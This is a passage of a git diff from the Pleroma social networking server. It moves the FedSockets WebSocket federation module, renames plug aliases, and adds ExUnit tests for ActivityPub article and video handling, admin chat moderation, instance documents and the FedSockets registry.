Pleroma.Web.PleromaAPI.Chat.MessageReferenceView + alias Pleroma.Web.Plugs.OAuthScopesPlug require Logger diff --git a/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex b/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex index 504d9b517..37dbfeb72 100644 --- a/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex +++ b/lib/pleroma/web/admin_api/controllers/instance_document_controller.ex @@ -5,9 +5,9 @@ defmodule Pleroma.Web.AdminAPI.InstanceDocumentController do use Pleroma.Web, :controller - alias Pleroma.Plugs.InstanceStatic - alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.Web.InstanceDocument + alias Pleroma.Web.Plugs.InstanceStatic + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(Pleroma.Web.ApiSpec.CastAndValidate) diff --git a/lib/pleroma/web/fed_sockets.ex b/lib/pleroma/web/fed_sockets.ex new file mode 100644 index 000000000..1fd5899c8 --- /dev/null +++ b/lib/pleroma/web/fed_sockets.ex @@ -0,0 +1,185 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets do + @moduledoc """ + This documents the FedSockets framework. A framework for federating + ActivityPub objects between servers via persistant WebSocket connections. + + FedSockets allow servers to authenticate on first contact and maintain that + connection, eliminating the need to authenticate every time data needs to be shared. + + ## Protocol + FedSockets currently support 2 types of data transfer: + * `publish` method which doesn't require a response + * `fetch` method requires a response be sent + + ### Publish + The publish operation sends a json encoded map of the shape: + %{action: :publish, data: json} + and accepts (but does not require) a reply of form: + %{"action" => "publish_reply"} + + The outgoing params represent + * data: ActivityPub object encoded into json + + + ### Fetch + The fetch operation sends a json encoded map of the shape: + %{action: :fetch, data: id, uuid: fetch_uuid} + and requires a reply of form: + %{"action" => "fetch_reply", "uuid" => uuid, "data" => data} + + The outgoing params represent + * id: an ActivityPub object URI + * uuid: a unique uuid generated by the sender + + The reply params represent + * data: an ActivityPub object encoded into json + * uuid: the uuid sent along with the fetch request + + ## Examples + Clients of FedSocket transfers shouldn't need to use any of the functions outside of this module. + + A typical publish operation can be performed through the following code, and a fetch operation in a similar manner. + + case FedSockets.get_or_create_fed_socket(inbox) do + {:ok, fedsocket} -> + FedSockets.publish(fedsocket, json) + + _ -> + alternative_publish(inbox, actor, json, params) + end + + ## Configuration + FedSockets have the following config settings + + config :pleroma, :fed_sockets, + enabled: true, + ping_interval: :timer.seconds(15), + connection_duration: :timer.hours(1), + rejection_duration: :timer.hours(1), + fed_socket_fetches: [ + default: 12_000, + interval: 3_000, + lazy: false + ] + * enabled - turn FedSockets on or off with this flag. Can be toggled at runtime. + * connection_duration - How long a FedSocket can sit idle before it's culled. + * rejection_duration - After failing to make a FedSocket connection a host will be excluded + from further connections for this amount of time + * fed_socket_fetches - Use these parameters to pass options to the Cachex queue backing the FetchRegistry + * fed_socket_rejections - Use these parameters to pass options to the Cachex queue backing the FedRegistry + + Cachex options are + * default: the minimum amount of time a fetch can wait before it times out. + * interval: the interval between checks for timed out entries. This plus the default represent the maximum time allowed + * lazy: leave at false for consistant and fast lookups, set to true for stricter timeout enforcement + + """ + require Logger + + alias Pleroma.Web.FedSockets.FedRegistry + alias Pleroma.Web.FedSockets.FedSocket + alias Pleroma.Web.FedSockets.SocketInfo + + @doc """ + returns a FedSocket for the given origin. Will reuse an existing one or create a new one. + + address is expected to be a fully formed URL such as: + "http://www.example.com" or "http://www.example.com:8080" + + It can and usually does include additional path parameters, + but these are ignored as the FedSockets are organized by host and port info alone. + """ + def get_or_create_fed_socket(address) do + with {:cache, {:error, :missing}} <- {:cache, get_fed_socket(address)}, + {:connect, {:ok, _pid}} <- {:connect, FedSocket.connect_to_host(address)}, + {:cache, {:ok, fed_socket}} <- {:cache, get_fed_socket(address)} do + Logger.debug("fedsocket created for - #{inspect(address)}") + {:ok, fed_socket} + else + {:cache, {:ok, socket}} -> + Logger.debug("fedsocket found in cache - #{inspect(address)}") + {:ok, socket} + + {:cache, {:error, :rejected} = e} -> + e + + {:connect, {:error, _host}} -> + Logger.debug("set host rejected for - #{inspect(address)}") + FedRegistry.set_host_rejected(address) + {:error, :rejected} + + {_, {:error, :disabled}} -> + {:error, :disabled} + + {_, {:error, reason}} -> + Logger.warn("get_or_create_fed_socket error - #{inspect(reason)}") + {:error, reason} + end + end + + @doc """ + returns a FedSocket for the given origin. Will not create a new FedSocket if one does not exist. + + address is expected to be a fully formed URL such as: + "http://www.example.com" or "http://www.example.com:8080" + """ + def get_fed_socket(address) do + origin = SocketInfo.origin(address) + + with {:config, true} <- {:config, Pleroma.Config.get([:fed_sockets, :enabled], false)}, + {:ok, socket} <- FedRegistry.get_fed_socket(origin) do + {:ok, socket} + else + {:config, _} -> + {:error, :disabled} + + {:error, :rejected} -> + Logger.debug("FedSocket previously rejected - #{inspect(origin)}") + {:error, :rejected} + + {:error, reason} -> + {:error, reason} + end + end + + @doc """ + Sends the supplied data via the publish protocol. + It will not block waiting for a reply. + Returns :ok but this is not an indication of a successful transfer. + + the data is expected to be JSON encoded binary data. + """ + def publish(%SocketInfo{} = fed_socket, json) do + FedSocket.publish(fed_socket, json) + end + + @doc """ + Sends the supplied data via the fetch protocol. + It will block waiting for a reply or timeout. + + Returns {:ok, object} where object is the requested object (or nil) + {:error, :timeout} in the event the message was not responded to + + the id is expected to be the URI of an ActivityPub object. + """ + def fetch(%SocketInfo{} = fed_socket, id) do + FedSocket.fetch(fed_socket, id) + end + + @doc """ + Disconnect all and restart FedSockets. + This is mainly used in development and testing but could be useful in production. + """ + def reset do + FedRegistry + |> Process.whereis() + |> Process.exit(:testing) + end + + def uri_for_origin(origin), + do: "ws://#{origin}/api/fedsocket/v1" +end diff --git a/lib/pleroma/web/fed_sockets/fed_sockets.ex b/lib/pleroma/web/fed_sockets/fed_sockets.ex deleted file mode 100644 index 1fd5899c8..000000000 --- a/lib/pleroma/web/fed_sockets/fed_sockets.ex +++ /dev/null @@ -1,185 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FedSockets do - @moduledoc """ - This documents the FedSockets framework. A framework for federating - ActivityPub objects between servers via persistant WebSocket connections. - - FedSockets allow servers to authenticate on first contact and maintain that - connection, eliminating the need to authenticate every time data needs to be shared. - - ## Protocol - FedSockets currently support 2 types of data transfer: - * `publish` method which doesn't require a response - * `fetch` method requires a response be sent - - ### Publish - The publish operation sends a json encoded map of the shape: - %{action: :publish, data: json} - and accepts (but does not require) a reply of form: - %{"action" => "publish_reply"} - - The outgoing params represent - * data: ActivityPub object encoded into json - - - ### Fetch - The fetch operation sends a json encoded map of the shape: - %{action: :fetch, data: id, uuid: fetch_uuid} - and requires a reply of form: - %{"action" => "fetch_reply", "uuid" => uuid, "data" => data} - - The outgoing params represent - * id: an ActivityPub object URI - * uuid: a unique uuid generated by the sender - - The reply params represent - * data: an ActivityPub object encoded into json - * uuid: the uuid sent along with the fetch request - - ## Examples - Clients of FedSocket transfers shouldn't need to use any of the functions outside of this module. - - A typical publish operation can be performed through the following code, and a fetch operation in a similar manner. - - case FedSockets.get_or_create_fed_socket(inbox) do - {:ok, fedsocket} -> - FedSockets.publish(fedsocket, json) - - _ -> - alternative_publish(inbox, actor, json, params) - end - - ## Configuration - FedSockets have the following config settings - - config :pleroma, :fed_sockets, - enabled: true, - ping_interval: :timer.seconds(15), - connection_duration: :timer.hours(1), - rejection_duration: :timer.hours(1), - fed_socket_fetches: [ - default: 12_000, - interval: 3_000, - lazy: false - ] - * enabled - turn FedSockets on or off with this flag. Can be toggled at runtime. - * connection_duration - How long a FedSocket can sit idle before it's culled. - * rejection_duration - After failing to make a FedSocket connection a host will be excluded - from further connections for this amount of time - * fed_socket_fetches - Use these parameters to pass options to the Cachex queue backing the FetchRegistry - * fed_socket_rejections - Use these parameters to pass options to the Cachex queue backing the FedRegistry - - Cachex options are - * default: the minimum amount of time a fetch can wait before it times out. - * interval: the interval between checks for timed out entries. This plus the default represent the maximum time allowed - * lazy: leave at false for consistant and fast lookups, set to true for stricter timeout enforcement - - """ - require Logger - - alias Pleroma.Web.FedSockets.FedRegistry - alias Pleroma.Web.FedSockets.FedSocket - alias Pleroma.Web.FedSockets.SocketInfo - - @doc """ - returns a FedSocket for the given origin. Will reuse an existing one or create a new one. - - address is expected to be a fully formed URL such as: - "http://www.example.com" or "http://www.example.com:8080" - - It can and usually does include additional path parameters, - but these are ignored as the FedSockets are organized by host and port info alone. - """ - def get_or_create_fed_socket(address) do - with {:cache, {:error, :missing}} <- {:cache, get_fed_socket(address)}, - {:connect, {:ok, _pid}} <- {:connect, FedSocket.connect_to_host(address)}, - {:cache, {:ok, fed_socket}} <- {:cache, get_fed_socket(address)} do - Logger.debug("fedsocket created for - #{inspect(address)}") - {:ok, fed_socket} - else - {:cache, {:ok, socket}} -> - Logger.debug("fedsocket found in cache - #{inspect(address)}") - {:ok, socket} - - {:cache, {:error, :rejected} = e} -> - e - - {:connect, {:error, _host}} -> - Logger.debug("set host rejected for - #{inspect(address)}") - FedRegistry.set_host_rejected(address) - {:error, :rejected} - - {_, {:error, :disabled}} -> - {:error, :disabled} - - {_, {:error, reason}} -> - Logger.warn("get_or_create_fed_socket error - #{inspect(reason)}") - {:error, reason} - end - end - - @doc """ - returns a FedSocket for the given origin. Will not create a new FedSocket if one does not exist. - - address is expected to be a fully formed URL such as: - "http://www.example.com" or "http://www.example.com:8080" - """ - def get_fed_socket(address) do - origin = SocketInfo.origin(address) - - with {:config, true} <- {:config, Pleroma.Config.get([:fed_sockets, :enabled], false)}, - {:ok, socket} <- FedRegistry.get_fed_socket(origin) do - {:ok, socket} - else - {:config, _} -> - {:error, :disabled} - - {:error, :rejected} -> - Logger.debug("FedSocket previously rejected - #{inspect(origin)}") - {:error, :rejected} - - {:error, reason} -> - {:error, reason} - end - end - - @doc """ - Sends the supplied data via the publish protocol. - It will not block waiting for a reply. - Returns :ok but this is not an indication of a successful transfer. - - the data is expected to be JSON encoded binary data. - """ - def publish(%SocketInfo{} = fed_socket, json) do - FedSocket.publish(fed_socket, json) - end - - @doc """ - Sends the supplied data via the fetch protocol. - It will block waiting for a reply or timeout. - - Returns {:ok, object} where object is the requested object (or nil) - {:error, :timeout} in the event the message was not responded to - - the id is expected to be the URI of an ActivityPub object. - """ - def fetch(%SocketInfo{} = fed_socket, id) do - FedSocket.fetch(fed_socket, id) - end - - @doc """ - Disconnect all and restart FedSockets. - This is mainly used in development and testing but could be useful in production. - """ - def reset do - FedRegistry - |> Process.whereis() - |> Process.exit(:testing) - end - - def uri_for_origin(origin), - do: "ws://#{origin}/api/fedsocket/v1" -end diff --git a/test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs b/test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs new file mode 100644 index 000000000..cc6dab872 --- /dev/null +++ b/test/pleroma/web/activity_pub/object_validators/article_note_validator_test.exs @@ -0,0 +1,35 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidatorTest do + use Pleroma.DataCase + + alias Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidator + alias Pleroma.Web.ActivityPub.Utils + + import Pleroma.Factory + + describe "Notes" do + setup do + user = insert(:user) + + note = %{ + "id" => Utils.generate_activity_id(), + "type" => "Note", + "actor" => user.ap_id, + "to" => [user.follower_address], + "cc" => [], + "content" => "Hellow this is content.", + "context" => "xxx", + "summary" => "a post" + } + + %{user: user, note: note} + end + + test "a basic note validates", %{note: note} do + %{valid?: true} = ArticleNoteValidator.cast_and_validate(note) + end + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs new file mode 100644 index 000000000..9b12a470a --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/article_handling_test.exs @@ -0,0 +1,75 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.ArticleHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Object.Fetcher + alias Pleroma.Web.ActivityPub.Transmogrifier + + test "Pterotype (Wordpress Plugin) Article" do + Tesla.Mock.mock(fn %{url: "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog"} -> + %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json")} + end) + + data = + File.read!("test/fixtures/tesla_mock/wedistribute-create-article.json") |> Jason.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + + object = Object.normalize(data["object"]) + + assert object.data["name"] == "The end is near: Mastodon plans to drop OStatus support" + + assert object.data["summary"] == + "One of the largest platforms in the federated social web is dropping the protocol that it started with." + + assert object.data["url"] == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" + end + + test "Plume Article" do + Tesla.Mock.mock(fn + %{url: "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json") + } + + %{url: "https://baptiste.gelez.xyz/@/BaptisteGelez"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json") + } + end) + + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" + ) + + assert object.data["name"] == "This Month in Plume: June 2018" + + assert object.data["url"] == + "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" + end + + test "Prismo Article" do + Tesla.Mock.mock(fn %{url: "https://prismo.news/@mxb"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json") + } + end) + + data = File.read!("test/fixtures/prismo-url-map.json") |> Jason.decode!() + + {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) + object = Object.normalize(data["object"]) + + assert object.data["url"] == "https://prismo.news/posts/83" + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/video_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/video_handling_test.exs new file mode 100644 index 000000000..69c953a2e --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/video_handling_test.exs @@ -0,0 +1,93 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.VideoHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Object.Fetcher + alias Pleroma.Web.ActivityPub.Transmogrifier + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + test "skip converting the content when it is nil" do + data = + File.read!("test/fixtures/tesla_mock/framatube.org-video.json") + |> Jason.decode!() + |> Kernel.put_in(["object", "content"], nil) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["content"] == nil + end + + test "it converts content of object to html" do + data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["content"] == + "<p>Après avoir mené avec un certain succès la campagne « Dégooglisons Internet » en 2014, l’association Framasoft annonce fin 2019 arrêter progressivement un certain nombre de ses services alternatifs aux GAFAM. Pourquoi ?</p><p>Transcription par @aprilorg ici : <a href=\"https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft\">https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft</a></p>" + end + + test "it remaps video URLs as attachments if necessary" do + {:ok, object} = + Fetcher.fetch_object_from_id( + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + ) + + assert object.data["url"] == + "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" + + assert object.data["attachment"] == [ + %{ + "type" => "Link", + "mediaType" => "video/mp4", + "name" => nil, + "url" => [ + %{ + "href" => + "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + + data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["attachment"] == [ + %{ + "type" => "Link", + "mediaType" => "video/mp4", + "name" => nil, + "url" => [ + %{ + "href" => + "https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4", + "mediaType" => "video/mp4", + "type" => "Link" + } + ] + } + ] + + assert object.data["url"] == + "https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206" + end +end diff --git a/test/pleroma/web/admin_api/controllers/chat_controller_test.exs b/test/pleroma/web/admin_api/controllers/chat_controller_test.exs new file mode 100644 index 000000000..bd4c9c9d1 --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/chat_controller_test.exs @@ -0,0 +1,219 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.ChatControllerTest do + use Pleroma.Web.ConnCase + + import Pleroma.Factory + + alias Pleroma.Chat + alias Pleroma.Chat.MessageReference + alias Pleroma.Config + alias Pleroma.ModerationLog + alias Pleroma.Object + alias Pleroma.Repo + alias Pleroma.Web.CommonAPI + + defp admin_setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do + setup do: admin_setup() + + test "it deletes a message from the chat", %{conn: conn, admin: admin} do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = + CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend") + + object = Object.normalize(message, false) + + chat = Chat.get(user.id, recipient.ap_id) + recipient_chat = Chat.get(recipient.id, user.ap_id) + + cm_ref = MessageReference.for_chat_and_object(chat, object) + recipient_cm_ref = MessageReference.for_chat_and_object(recipient_chat, object) + + result = + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response_and_validate_schema(200) + + log_entry = Repo.one(ModerationLog) + + assert ModerationLog.get_log_entry_message(log_entry) == + "@#{admin.nickname} deleted chat message ##{cm_ref.id}" + + assert result["id"] == cm_ref.id + refute MessageReference.get_by_id(cm_ref.id) + refute MessageReference.get_by_id(recipient_cm_ref.id) + assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) + end + end + + describe "GET /api/pleroma/admin/chats/:id/messages" do + setup do: admin_setup() + + test "it paginates", %{conn: conn} do + user = insert(:user) + recipient = insert(:user) + + Enum.each(1..30, fn _ -> + {:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey") + end) + + chat = Chat.get(user.id, recipient.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(200) + + assert length(result) == 20 + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") + |> json_response_and_validate_schema(200) + + assert length(result) == 10 + end + + test "it returns the messages for a given chat", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + third_user = insert(:user) + + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey") + {:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?") + {:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?") + + chat = Chat.get(user.id, other_user.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response_and_validate_schema(200) + + result + |> Enum.each(fn message -> + assert message["chat_id"] == chat.id |> to_string() + end) + + assert length(result) == 3 + end + end + + describe "GET /api/pleroma/admin/chats/:id" do + setup do: admin_setup() + + test "it returns a chat", %{conn: conn} do + user = insert(:user) + other_user = insert(:user) + + {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) + + result = + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response_and_validate_schema(200) + + assert result["id"] == to_string(chat.id) + assert %{} = result["sender"] + assert %{} = result["receiver"] + refute result["account"] + end + end + + describe "unauthorized chat moderation" do + setup do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") + object = Object.normalize(message, false) + chat = Chat.get(user.id, recipient.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + %{conn: conn} = oauth_access(["read:chats", "write:chats"]) + %{conn: conn, chat: chat, cm_ref: cm_ref} + end + + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ + conn: conn, + chat: chat, + cm_ref: cm_ref + } do + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response(403) + + assert MessageReference.get_by_id(cm_ref.id) == cm_ref + end + + test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response(403) + end + + test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response(403) + end + end + + describe "unauthenticated chat moderation" do + setup do + user = insert(:user) + recipient = insert(:user) + + {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") + object = Object.normalize(message, false) + chat = Chat.get(user.id, recipient.ap_id) + cm_ref = MessageReference.for_chat_and_object(chat, object) + + %{conn: build_conn(), chat: chat, cm_ref: cm_ref} + end + + test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ + conn: conn, + chat: chat, + cm_ref: cm_ref + } do + conn + |> put_req_header("content-type", "application/json") + |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") + |> json_response(403) + + assert MessageReference.get_by_id(cm_ref.id) == cm_ref + end + + test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}/messages") + |> json_response(403) + end + + test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do + conn + |> get("/api/pleroma/admin/chats/#{chat.id}") + |> json_response(403) + end + end +end diff --git a/test/pleroma/web/admin_api/controllers/instance_document_controller_test.exs b/test/pleroma/web/admin_api/controllers/instance_document_controller_test.exs new file mode 100644 index 000000000..5f7b042f6 --- /dev/null +++ b/test/pleroma/web/admin_api/controllers/instance_document_controller_test.exs @@ -0,0 +1,106 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do + use Pleroma.Web.ConnCase, async: true + import Pleroma.Factory + alias Pleroma.Config + + @dir "test/tmp/instance_static" + @default_instance_panel ~s(<p>Welcome to <a href="https://pleroma.social" target="_blank">Pleroma!</a></p>) + + setup do + File.mkdir_p!(@dir) + on_exit(fn -> File.rm_rf(@dir) end) + end + + setup do: clear_config([:instance, :static_dir], @dir) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + {:ok, %{admin: admin, token: token, conn: conn}} + end + + describe "GET /api/pleroma/admin/instance_document/:name" do + test "return the instance document url", %{conn: conn} do + conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") + + assert content = html_response(conn, 200) + assert String.contains?(content, @default_instance_panel) + end + + test "it returns 403 if requested by a non-admin" do + non_admin_user = insert(:user) + token = insert(:oauth_token, user: non_admin_user) + + conn = + build_conn() + |> assign(:user, non_admin_user) + |> assign(:token, token) + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert json_response(conn, :forbidden) + end + + test "it returns 404 if the instance document with the given name doesn't exist", %{ + conn: conn + } do + conn = get(conn, "/api/pleroma/admin/instance_document/1234") + + assert json_response_and_validate_schema(conn, 404) + end + end + + describe "PATCH /api/pleroma/admin/instance_document/:name" do + test "uploads the instance document", %{conn: conn} do + image = %Plug.Upload{ + content_type: "text/html", + path: Path.absname("test/fixtures/custom_instance_panel.html"), + filename: "custom_instance_panel.html" + } + + conn = + conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/admin/instance_document/instance-panel", %{ + "file" => image + }) + + assert %{"url" => url} = json_response_and_validate_schema(conn, 200) + index = get(build_conn(), url) + assert html_response(index, 200) == "<h2>Custom instance panel</h2>" + end + end + + describe "DELETE /api/pleroma/admin/instance_document/:name" do + test "deletes the instance document", %{conn: conn} do + File.mkdir!(@dir <> "/instance/") + File.write!(@dir <> "/instance/panel.html", "Custom instance panel") + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert html_response(conn_resp, 200) == "Custom instance panel" + + conn + |> delete("/api/pleroma/admin/instance_document/instance-panel") + |> json_response_and_validate_schema(200) + + conn_resp = + conn + |> get("/api/pleroma/admin/instance_document/instance-panel") + + assert content = html_response(conn_resp, 200) + assert String.contains?(content, @default_instance_panel) + end + end +end diff --git a/test/pleroma/web/fed_sockets/fed_registry_test.exs b/test/pleroma/web/fed_sockets/fed_registry_test.exs new file mode 100644 index 000000000..19ac874d6 --- /dev/null +++ b/test/pleroma/web/fed_sockets/fed_registry_test.exs @@ -0,0 +1,124 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.FedSockets.FedRegistryTest do + use ExUnit.Case + + alias Pleroma.Web.FedSockets + alias Pleroma.Web.FedSockets.FedRegistry + alias Pleroma.Web.FedSockets.SocketInfo + + @good_domain "http://good.domain" + @good_domain_origin "good.domain:80" + + setup do + start_supervised({Pleroma.Web.FedSockets.Supervisor, []}) + build_test_socket(@good_domain) + Process.sleep(10) + + :ok + end + + describe "add_fed_socket/1 without conflicting sockets" do + test "can be added" do + Process.sleep(10) + assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) + assert origin == "good.domain:80" + end + + test "multiple origins can be added" do + build_test_socket("http://anothergood.domain") + Process.sleep(10) + + assert {:ok, %SocketInfo{origin: origin_1}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert {:ok, %SocketInfo{origin: origin_2}} = + FedRegistry.get_fed_socket("anothergood.domain:80") + + assert origin_1 == "good.domain:80" + assert origin_2 == "anothergood.domain:80" + assert FedRegistry.list_all() |> Enum.count() == 2 + end + end + + describe "add_fed_socket/1 when duplicate sockets conflict" do + setup do + build_test_socket(@good_domain) + build_test_socket(@good_domain) + Process.sleep(10) + :ok + end + + test "will be ignored" do + assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + + assert FedRegistry.list_all() |> Enum.count() == 1 + end + + test "the newer process will be closed" do + pid_two = build_test_socket(@good_domain) + + assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + Process.sleep(10) + + refute Process.alive?(pid_two) + + assert FedRegistry.list_all() |> Enum.count() == 1 + end + end + + describe "get_fed_socket/1" do + test "returns missing for unknown hosts" do + assert {:error, :missing} = FedRegistry.get_fed_socket("not_a_dmoain") + end + + test "returns rejected for hosts previously rejected" do + "rejected.domain:80" + |> FedSockets.uri_for_origin() + |> FedRegistry.set_host_rejected() + + assert {:error, :rejected} = FedRegistry.get_fed_socket("rejected.domain:80") + end + + test "can retrieve a previously added SocketInfo" do + build_test_socket(@good_domain) + Process.sleep(10) + assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) + assert origin == "good.domain:80" + end + + test "removes references to SocketInfos when the process crashes" do + assert {:ok, %SocketInfo{origin: origin, pid: pid}} = + FedRegistry.get_fed_socket(@good_domain_origin) + + assert origin == "good.domain:80" + + Process.exit(pid, :testing) + Process.sleep(100) + assert {:error, :missing} = FedRegistry.get_fed_socket(@good_domain_origin) + end + end + + def build_test_socket(uri) do + Kernel.spawn(fn -> fed_socket_almost(uri) end) + end + + def fed_socket_almost(origin) do + FedRegistry.add_fed_socket(origin) + + receive do + :close -> + :ok + after + 5_000 -> :timeout + end + end +end diff --git a/test/pleroma/web/fed_sockets/fetch_registry_test.exs b/test/pleroma/web/fed_sockets/fetch_registry_test.exs new file mode 100644 index 000000000..7bd2d995a --- /dev/null +++ 